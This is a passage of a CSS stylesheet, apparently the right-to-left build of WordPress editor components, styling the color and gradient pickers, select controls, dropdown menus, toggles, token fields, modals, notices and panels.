  margin:0 1px;
}

.components-color-palette__custom-color-value{
  color:#757575;
}
.components-color-palette__custom-color-value--is-hex{
  text-transform:uppercase;
}
.components-color-palette__custom-color-value:empty:after{
  content:"​";
  visibility:hidden;
}

.components-custom-gradient-picker__gradient-bar{
  border-radius:2px;
  height:48px;
  position:relative;
  width:100%;
  z-index:1;
}
.components-custom-gradient-picker__gradient-bar.has-gradient{
  background-image:repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0), repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0);
  background-position:0 0, 12px 12px;
  background-size:24px 24px;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__gradient-bar-background{
  inset:0;
  position:absolute;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{
  margin-left:auto;
  margin-right:auto;
  position:relative;
  width:calc(100% - 48px);
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-dropdown{
  display:flex;
  height:16px;
  position:absolute;
  top:16px;
  width:16px;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown{
  background:#fff;
  border-radius:50%;
  color:#1e1e1e;
  height:inherit;
  min-width:16px;
  padding:2px;
  position:relative;
  width:inherit;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown svg{
  height:100%;
  width:100%;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{
  border-radius:50%;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 2px 0 #00000040;
  height:inherit;
  outline:2px solid #0000;
  padding:0;
  width:inherit;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{
  box-shadow:inset 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #fff, 0 0 2px 0 #00000040;
  outline:1.5px solid #0000;
}

.components-custom-gradient-picker__remove-control-point-wrapper{
  padding-bottom:8px;
}

.components-custom-gradient-picker__inserter{
  direction:ltr;
}

.components-custom-gradient-picker__liner-gradient-indicator{
  display:inline-block;
  flex:0 auto;
  height:20px;
  width:20px;
}

.components-custom-gradient-picker .components-custom-gradient-picker__toolbar{
  border:none;
}
.components-custom-gradient-picker .components-custom-gradient-picker__toolbar>div+div{
  margin-right:1px;
}
.components-custom-gradient-picker .components-custom-gradient-picker__toolbar button.is-pressed>svg{
  background:#fff;
  border:1px solid #949494;
  border-radius:2px;
}

.components-custom-gradient-picker__ui-line{
  position:relative;
  z-index:0;
}

.components-custom-select-control{
  font-size:13px;
  position:relative;
}

.components-custom-select-control__button{
  outline:0;
  position:relative;
  text-align:right;
}

.components-custom-select-control__hint{
  color:#949494;
  margin-right:10px;
}

.components-custom-select-control__menu{
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  max-height:400px;
  min-width:100%;
  outline:none;
  overflow:auto;
  padding:0;
  position:absolute;
  transition:none;
  z-index:1000000;
}
.components-custom-select-control__menu[aria-hidden=true]{
  display:none;
}

.components-custom-select-control__item{
  align-items:center;
  cursor:default;
  display:grid;
  grid-template-columns:auto auto;
  line-height:28px;
  list-style-type:none;
  padding:8px 16px;
}
.components-custom-select-control__item:not(.is-next-40px-default-size){
  padding:8px;
}
.components-custom-select-control__item.has-hint{
  grid-template-columns:auto auto 30px;
}
.components-custom-select-control__item.is-highlighted{
  background:#ddd;
}
.components-custom-select-control__item .components-custom-select-control__item-hint{
  color:#949494;
  padding-left:4px;
  text-align:left;
}
.components-custom-select-control__item .components-custom-select-control__item-icon{
  margin-right:auto;
}
.components-custom-select-control__item:last-child{
  margin-bottom:0;
}

.block-editor-dimension-control .components-base-control__field{
  align-items:center;
  display:flex;
}
.block-editor-dimension-control .components-base-control__label{
  align-items:center;
  display:flex;
  margin-bottom:0;
  margin-left:1em;
}
.block-editor-dimension-control .components-base-control__label .dashicon{
  margin-left:.5em;
}
.block-editor-dimension-control.is-manual .components-base-control__label{
  width:10em;
}

body.is-dragging-components-draggable{
  cursor:move;
  cursor:grabbing !important;
}

.components-draggable__invisible-drag-image{
  height:50px;
  position:fixed;
  right:-1000px;
  width:50px;
}

.components-draggable__clone{
  background:#0000;
  padding:0;
  pointer-events:none;
  position:fixed;
  z-index:1000000000;
}

.components-drop-zone{
  border-radius:2px;
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
  visibility:hidden;
  z-index:40;
}
.components-drop-zone.is-active{
  opacity:1;
  visibility:visible;
}

.components-drop-zone__content{
  align-items:center;
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  bottom:0;
  color:#fff;
  display:flex;
  height:100%;
  justify-content:center;
  left:0;
  position:absolute;
  right:0;
  text-align:center;
  top:0;
  width:100%;
  z-index:50;
}

.components-drop-zone__content-icon,.components-drop-zone__content-text{
  display:block;
}

.components-drop-zone__content-icon{
  line-height:0;
  margin:0 auto 8px;
  fill:currentColor;
  pointer-events:none;
}

.components-drop-zone__content-text{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.components-dropdown{
  display:inline-block;
}

.components-dropdown__content .components-popover__content{
  padding:8px;
}
.components-dropdown__content [role=menuitem]{
  white-space:nowrap;
}

.components-dropdown-menu__toggle{
  vertical-align:top;
}

.components-dropdown-menu__menu{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:1.4;
  width:100%;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{
  cursor:pointer;
  outline:none;
  padding:6px;
  white-space:nowrap;
  width:100%;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{
  margin-top:6px;
  overflow:visible;
  position:relative;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{
  background-color:#ddd;
  box-sizing:initial;
  content:"";
  display:block;
  height:1px;
  left:0;
  position:absolute;
  right:0;
  top:-3px;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-menu-item.is-active svg{
  background:#1e1e1e;
  border-radius:1px;
  box-shadow:0 0 0 1px #1e1e1e;
  color:#fff;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-icon-only,.components-dropdown-menu__menu .components-menu-item.is-icon-only{
  width:auto;
}
.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{
  height:auto;
  min-height:36px;
  padding-left:8px;
  padding-right:8px;
  text-align:right;
}
.components-dropdown-menu__menu .components-menu-group{
  margin:0 -8px;
  padding:8px;
}
.components-dropdown-menu__menu .components-menu-group:first-child{
  margin-top:-8px;
}
.components-dropdown-menu__menu .components-menu-group:last-child{
  margin-bottom:-8px;
}
.components-dropdown-menu__menu .components-menu-group+.components-menu-group{
  border-top:1px solid #ccc;
  margin-top:0;
  padding:8px;
}
.is-alternate .components-dropdown-menu__menu .components-menu-group+.components-menu-group{
  border-color:#1e1e1e;
}

.components-duotone-picker__color-indicator:before{
  background:#0000;
}
.components-duotone-picker__color-indicator>.components-button,.components-duotone-picker__color-indicator>.components-button.is-pressed:hover:not(:disabled){
  background:linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  color:#0000;
}
.components-duotone-picker__color-indicator>.components-button:not([aria-disabled=true]):active{
  color:#0000;
}

.components-color-list-picker,.components-color-list-picker__swatch-button{
  width:100%;
}

.components-color-list-picker__color-picker{
  margin:8px 0;
}

.components-color-list-picker__swatch-button{
  padding:6px;
}

.components-color-list-picker__swatch-color{
  margin:2px;
}

.components-form-toggle{
  display:inline-block;
  position:relative;
}
.components-form-toggle .components-form-toggle__track{
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:9px;
  box-sizing:border-box;
  content:"";
  display:inline-block;
  height:18px;
  overflow:hidden;
  position:relative;
  transition:background-color .2s ease,border-color .2s ease;
  vertical-align:top;
  width:36px;
}
@media (prefers-reduced-motion:reduce){
  .components-form-toggle .components-form-toggle__track{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-form-toggle .components-form-toggle__track:after{
  border-top:18px solid #0000;
  box-sizing:border-box;
  content:"";
  inset:0;
  opacity:0;
  position:absolute;
  transition:opacity .2s ease;
}
@media (prefers-reduced-motion:reduce){
  .components-form-toggle .components-form-toggle__track:after{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-form-toggle .components-form-toggle__thumb{
  background-color:#1e1e1e;
  border:6px solid #0000;
  border-radius:50%;
  box-sizing:border-box;
  display:block;
  height:12px;
  position:absolute;
  right:3px;
  top:3px;
  transition:transform .2s ease,background-color .2s ease-out;
  width:12px;
}
@media (prefers-reduced-motion:reduce){
  .components-form-toggle .components-form-toggle__thumb{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-form-toggle.is-checked .components-form-toggle__track{
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-form-toggle.is-checked .components-form-toggle__track:after{
  opacity:1;
}
.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-form-toggle.is-checked .components-form-toggle__thumb{
  background-color:#fff;
  border-width:0;
  transform:translateX(-18px);
}
.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{
  opacity:.3;
}

.components-form-toggle input.components-form-toggle__input[type=checkbox]{
  border:none;
  height:100%;
  margin:0;
  opacity:0;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
  z-index:1;
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{
  background:none;
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{
  content:"";
}

.components-form-token-field__input-container{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  cursor:text;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:0;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-form-token-field__input-container{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-form-token-field__input-container{
    font-size:13px;
    line-height:normal;
  }
}
.components-form-token-field__input-container:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-form-token-field__input-container::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-form-token-field__input-container:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container.is-disabled{
  background:#ddd;
  border-color:#ddd;
}
.components-form-token-field__input-container.is-active{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-form-token-field__input-container input[type=text].components-form-token-field__input{
  background:inherit;
  border:0;
  box-shadow:none;
  color:#1e1e1e;
  display:inline-block;
  flex:1;
  font-family:inherit;
  font-size:16px;
  margin-right:4px;
  max-width:100%;
  min-height:24px;
  min-width:50px;
  padding:0;
  width:100%;
}
@media (min-width:600px){
  .components-form-token-field__input-container input[type=text].components-form-token-field__input{
    font-size:13px;
  }
}
.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{
  box-shadow:none;
  outline:none;
}
.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{
  width:auto;
}

.components-form-token-field__token{
  color:#1e1e1e;
  display:flex;
  font-size:13px;
  max-width:100%;
}
.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{
  background:#4ab866;
}
.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{
  background:#cc1818;
}
.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{
  color:#757575;
}
.components-form-token-field__token.is-borderless{
  padding:0 0 0 24px;
  position:relative;
}
.components-form-token-field__token.is-borderless .components-form-token-field__token-text{
  background:#0000;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{
  background:#0000;
  color:#757575;
  left:0;
  padding:0;
  position:absolute;
  top:1px;
}
.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{
  color:#4ab866;
}
.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{
  border-radius:0 4px 4px 0;
  color:#cc1818;
  padding:0 6px 0 4px;
}
.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{
  color:#1e1e1e;
}
.components-form-token-field__token.is-disabled .components-form-token-field__remove-token{
  cursor:default;
}

.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{
  background:#ddd;
  display:inline-block;
  height:auto;
  line-height:24px;
  min-width:unset;
  transition:all .2s cubic-bezier(.4, 1, .4, 1);
}
@media (prefers-reduced-motion:reduce){
  .components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{
    animation-delay:0s;
    animation-duration:1ms;
    transition-delay:0s;
    transition-duration:0s;
  }
}

.components-form-token-field__token-text{
  border-radius:0 2px 2px 0;
  overflow:hidden;
  padding:0 8px 0 0;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.components-form-token-field__remove-token.components-button{
  border-radius:2px 0 0 2px;
  color:#1e1e1e;
  cursor:pointer;
  line-height:10px;
  overflow:initial;
  padding:0 2px;
}
.components-form-token-field__remove-token.components-button:hover{
  color:#1e1e1e;
}

.components-form-token-field__suggestions-list{
  box-shadow:inset 0 1px 0 0 #949494;
  flex:1 0 100%;
  list-style:none;
  margin:0;
  max-height:128px;
  min-width:100%;
  overflow-y:auto;
  padding:0;
  transition:all .15s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .components-form-token-field__suggestions-list{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.components-form-token-field__suggestion{
  box-sizing:border-box;
  color:#1e1e1e;
  cursor:pointer;
  display:block;
  font-size:13px;
  margin:0;
  min-height:32px;
  padding:8px 12px;
}
.components-form-token-field__suggestion.is-selected{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff;
}

@media (min-width:600px){
  .components-guide{
    width:600px;
  }
}
.components-guide .components-modal__content{
  border-radius:2px;
  margin-top:0;
  padding:0;
}
.components-guide .components-modal__content:before{
  content:none;
}
.components-guide .components-modal__header{
  border-bottom:none;
  height:60px;
  padding:0;
  position:sticky;
}
.components-guide .components-modal__header .components-button{
  align-self:flex-start;
  margin:8px 0 0 8px;
  position:static;
}
.components-guide .components-modal__header .components-button:hover svg{
  fill:#fff;
}
.components-guide__container{
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  margin-top:-60px;
  min-height:100%;
}
.components-guide__page{
  display:flex;
  flex-direction:column;
  justify-content:center;
  position:relative;
}
@media (min-width:600px){
  .components-guide__page{
    min-height:300px;
  }
}
.components-guide__footer{
  align-content:center;
  display:flex;
  height:36px;
  justify-content:center;
  margin:0 0 24px;
  padding:0 32px;
  position:relative;
  width:100%;
}
.components-guide__page-control{
  margin:0;
  text-align:center;
}
.components-guide__page-control li{
  display:inline-block;
  margin:0;
}
.components-guide__page-control .components-button{
  color:#e0e0e0;
  height:30px;
  margin:-6px 0;
  min-width:20px;
}
.components-guide__page-control li[aria-current=step] .components-button{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}

.components-modal__frame.components-guide{
  border:none;
  max-height:575px;
  min-width:312px;
}
@media (max-width:600px){
  .components-modal__frame.components-guide{
    margin:auto;
    max-width:calc(100vw - 32px);
  }
}

.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{
  position:absolute;
}
.components-button.components-guide__back-button{
  right:32px;
}
.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{
  left:32px;
}

[role=region]{
  position:relative;
}

.is-focusing-regions [role=region]:focus:after{
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1000000;
}
.is-focusing-regions .editor-post-publish-panel,.is-focusing-regions .interface-interface-skeleton__actions .edit-post-layout__toggle-entities-saved-states-panel,.is-focusing-regions .interface-interface-skeleton__actions .edit-post-layout__toggle-publish-panel,.is-focusing-regions .interface-interface-skeleton__sidebar .edit-post-layout__toggle-sidebar-panel,.is-focusing-regions [role=region]:focus:after,.is-focusing-regions.is-distraction-free .interface-interface-skeleton__header .edit-post-header{
  outline:4px solid var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline-offset:-4px;
}

.components-menu-group+.components-menu-group{
  border-top:1px solid #1e1e1e;
  margin-top:8px;
  padding-top:8px;
}
.components-menu-group+.components-menu-group.has-hidden-separator{
  border-top:none;
  margin-top:0;
  padding-top:0;
}

.components-menu-group__label{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin-bottom:12px;
  margin-top:4px;
  padding:0 8px;
  text-transform:uppercase;
  white-space:nowrap;
}

.components-menu-item__button,.components-menu-item__button.components-button{
  width:100%;
}
.components-menu-item__button.components-button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button.components-button[role=menuitemradio] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemradio] .components-menu-item__item:only-child{
  box-sizing:initial;
  padding-left:48px;
}
.components-menu-item__button .components-menu-items__item-icon,.components-menu-item__button.components-button .components-menu-items__item-icon{
  display:inline-block;
  flex:0 0 auto;
}
.components-menu-item__button .components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-items__item-icon.has-icon-right{
  margin-left:-2px;
  margin-right:24px;
}
.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right{
  margin-right:8px;
}
.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{
  margin-left:8px;
  margin-right:-2px;
}
.components-menu-item__button.components-button.is-primary,.components-menu-item__button.is-primary{
  justify-content:center;
}
.components-menu-item__button.components-button.is-primary .components-menu-item__item,.components-menu-item__button.is-primary .components-menu-item__item{
  margin-left:0;
}
.components-menu-item__button.components-button:disabled.is-tertiary,.components-menu-item__button.components-button[aria-disabled=true].is-tertiary,.components-menu-item__button:disabled.is-tertiary,.components-menu-item__button[aria-disabled=true].is-tertiary{
  background:none;
  color:var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
  opacity:.3;
}

.components-menu-item__info-wrapper{
  display:flex;
  flex-direction:column;
  margin-left:auto;
}

.components-menu-item__info{
  color:#757575;
  font-size:12px;
  margin-top:4px;
  white-space:normal;
}

.components-menu-item__item{
  align-items:center;
  display:inline-flex;
  margin-left:auto;
  min-width:160px;
  white-space:nowrap;
}

.components-menu-item__shortcut{
  align-self:center;
  color:currentColor;
  display:none;
  margin-left:0;
  margin-right:auto;
  padding-right:24px;
}
@media (min-width:480px){
  .components-menu-item__shortcut{
    display:inline;
  }
}

.components-menu-items-choice svg,.components-menu-items-choice.components-button svg{
  margin-left:12px;
}
.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{
  padding-right:12px;
}

.components-modal__screen-overlay{
  animation:edit-post__fade-in-animation .2s ease-out 0s;
  animation-fill-mode:forwards;
  background-color:#00000059;
  bottom:0;
  display:flex;
  left:0;
  position:fixed;
  right:0;
  top:0;
  z-index:100000;
}
@media (prefers-reduced-motion:reduce){
  .components-modal__screen-overlay{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.components-modal__frame{
  animation:components-modal__appear-animation .1s ease-out;
  animation-fill-mode:forwards;
  background:#fff;
  border-radius:4px 4px 0 0;
  box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,-.1px 11.5px 16.4px -.5px #00000026;
  display:flex;
  margin:40px 0 0;
  overflow:hidden;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-modal__frame{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
@media (min-width:600px){
  .components-modal__frame{
    border-radius:4px;
    margin:auto;
    max-height:calc(100% - 120px);
    max-width:calc(100% - 32px);
    min-width:350px;
    width:auto;
  }
}
@media (min-width:600px) and (min-width:600px){
  .components-modal__frame.is-full-screen{
    height:calc(100% - 32px);
    max-height:none;
    width:calc(100% - 32px);
  }
}
@media (min-width:600px) and (min-width:782px){
  .components-modal__frame.is-full-screen{
    height:calc(100% - 80px);
    max-width:none;
    width:calc(100% - 80px);
  }
}
@media (min-width:600px){
  .components-modal__frame.has-size-large,.components-modal__frame.has-size-medium,.components-modal__frame.has-size-small{
    width:100%;
  }
  .components-modal__frame.has-size-small{
    max-width:384px;
  }
  .components-modal__frame.has-size-medium{
    max-width:512px;
  }
  .components-modal__frame.has-size-large{
    max-width:840px;
  }
}
@media (min-width:960px){
  .components-modal__frame{
    max-height:70%;
  }
}

@keyframes components-modal__appear-animation{
  0%{
    transform:translateY(32px);
  }
  to{
    transform:translateY(0);
  }
}
.components-modal__header{
  align-items:center;
  border-bottom:1px solid #0000;
  box-sizing:border-box;
  display:flex;
  flex-direction:row;
  height:72px;
  justify-content:space-between;
  padding:24px 32px 8px;
  position:absolute;
  right:0;
  top:0;
  width:100%;
  z-index:10;
}
.components-modal__header .components-modal__header-heading{
  font-size:1.2rem;
  font-weight:600;
}
.components-modal__header h1{
  line-height:1;
  margin:0;
}
.components-modal__header .components-button{
  position:relative;
  right:8px;
}
.components-modal__content.has-scrolled-content:not(.hide-header) .components-modal__header{
  border-bottom-color:#ddd;
}
.components-modal__header+p{
  margin-top:0;
}

.components-modal__header-heading-container{
  align-items:center;
  display:flex;
  flex-direction:row;
  flex-grow:1;
  justify-content:right;
}

.components-modal__header-icon-container{
  display:inline-block;
}
.components-modal__header-icon-container svg{
  max-height:36px;
  max-width:36px;
  padding:8px;
}

.components-modal__content{
  flex:1;
  margin-top:72px;
  overflow:auto;
  padding:4px 32px 32px;
}
.components-modal__content.hide-header{
  margin-top:0;
  padding-top:32px;
}
.components-modal__content.is-scrollable:focus-visible{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:-2px;
}

.components-notice{
  align-items:center;
  background-color:#fff;
  border-right:4px solid var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:8px 12px;
}
.components-notice.is-dismissible{
  position:relative;
}
.components-notice.is-success{
  background-color:#eff9f1;
  border-right-color:#4ab866;
}
.components-notice.is-warning{
  background-color:#fef8ee;
  border-right-color:#f0b849;
}
.components-notice.is-error{
  background-color:#f4a2a2;
  border-right-color:#cc1818;
}

.components-notice__content{
  flex-grow:1;
  margin:4px 0 4px 25px;
}

.components-notice__actions{
  display:flex;
  flex-wrap:wrap;
}

.components-notice__action.components-button{
  margin-left:8px;
}
.components-notice__action.components-button,.components-notice__action.components-button.is-link{
  margin-right:12px;
}
.components-notice__action.components-button.is-secondary{
  vertical-align:initial;
}

.components-notice__dismiss{
  align-self:flex-start;
  color:#757575;
  flex-shrink:0;
}
.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  background-color:initial;
  color:#1e1e1e;
}
.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  box-shadow:none;
}

.components-notice-list{
  box-sizing:border-box;
  max-width:100vw;
}
.components-notice-list .components-notice__content{
  line-height:2;
  margin-bottom:12px;
  margin-top:12px;
}
.components-notice-list .components-notice__action.components-button{
  display:block;
  margin-right:0;
  margin-top:8px;
}

.components-panel{
  background:#fff;
  border:1px solid #e0e0e0;
}
.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{
  margin-top:-1px;
}
.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{
  border-bottom-width:0;
}

.components-panel+.components-panel{
  margin-top:-1px;
}

.components-panel__body{
  border-bottom:1px solid #e0e0e0;
  border-top:1px solid #e0e0e0;
}
.components-panel__body h3{
  margin:0 0 .5em;
}
.components-panel__body.is-opened{
  padding:16px;
}

.components-panel__header{
  align-items:center;
  border-bottom:1px solid #ddd;
  box-sizing:initial;
  display:flex;
  height:47px;
  justify-content:space-between;
  padding:0 16px;
}
.components-panel__header h2{
  color:inherit;
  font-size:inherit;
  margin:0;
}

.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{
  margin-top:-1px;
}

.components-panel__body>.components-panel__body-title{
  display:block;
  font-size:inherit;
  margin-bottom:0;
  margin-top:0;
  padding:0;
  transition:background .1s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .components-panel__body>.components-panel__body-title{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.components-panel__body.is-opened>.components-panel__body-title{
  margin:-16px -16px 5px;
}

.components-panel__body>.components-panel__body-title:hover{
  background:#f0f0f0;
  border:none;
}

.components-panel__body-toggle.components-button{
  border:none;
  box-shadow:none;
  color:#1e1e1e;
  font-weight:500;
  height:auto;
  outline:none;
  padding:16px 16px 16px 48px;
  position:relative;
  text-align:right;
  transition:background .1s ease-in-out;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-panel__body-toggle.components-button{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-panel__body-toggle.components-button:focus{
  border-radius:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-panel__body-toggle.components-button .components-panel__arrow{
  color:#1e1e1e;
  left:16px;
  position:absolute;
  top:50%;
  transform:translateY(-50%);
  fill:currentColor;
  transition:color .1s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .components-panel__body-toggle.components-button .components-panel__arrow{
    transition-delay:0s;
    transition-duration:0s;
  }
}
body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{
  -ms-filter:fliph;
  filter:FlipH;
  margin-top:-10px;
  transform:scaleX(-1);
}

.components-panel__icon{
  color:#757575;
  margin:-2px 6px -2px 0;
}

.components-panel__body-toggle-icon{
  margin-left:-5px;
}

.components-panel__color-title{
  float:right;
  height:19px;
}

.components-panel__row{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-top:8px;
  min-height:36px;
}
.components-panel__row select{
  min-width:0;
}
.components-panel__row label{
  flex-shrink:0;
  margin-left:12px;
  max-width:75%;
}
.components-panel__row:empty,.components-panel__row:first-of-type{
  margin-top:0;
}

.components-panel .circle-picker{
  padding-bottom:20px;
}

.components-placeholder.components-placeholder{
  box-sizing:border-box;
  color:#1e1e1e;
  font-size:13px;
  margin:0;
  padding:1em;
  position:relative;
  text-align:right;
  width:100%;
  -moz-font-smoothing:subpixel-antialiased;
  -webkit-font-smoothing:subpixel-antialiased;
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  outline:1px solid #0000;
}
@supports (position:sticky){
  .components-placeholder.components-placeholder{
    align-items:flex-start;
    display:flex;
    flex-direction:column;
    justify-content:top;
  }
}

.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:400;
  letter-spacing:normal;
  line-height:normal;
  text-transform:none;
}

.components-placeholder__label{
  align-items:center;
  display:flex;
  font-weight:600;
  margin-bottom:16px;
}
.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{
  margin-left:12px;
  fill:currentColor;
}
@media (forced-colors:active){
  .components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{
    fill:CanvasText;
  }
}
.components-placeholder__label:empty{
  display:none;
}

.components-placeholder__fieldset,.components-placeholder__fieldset form{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  width:100%;
}
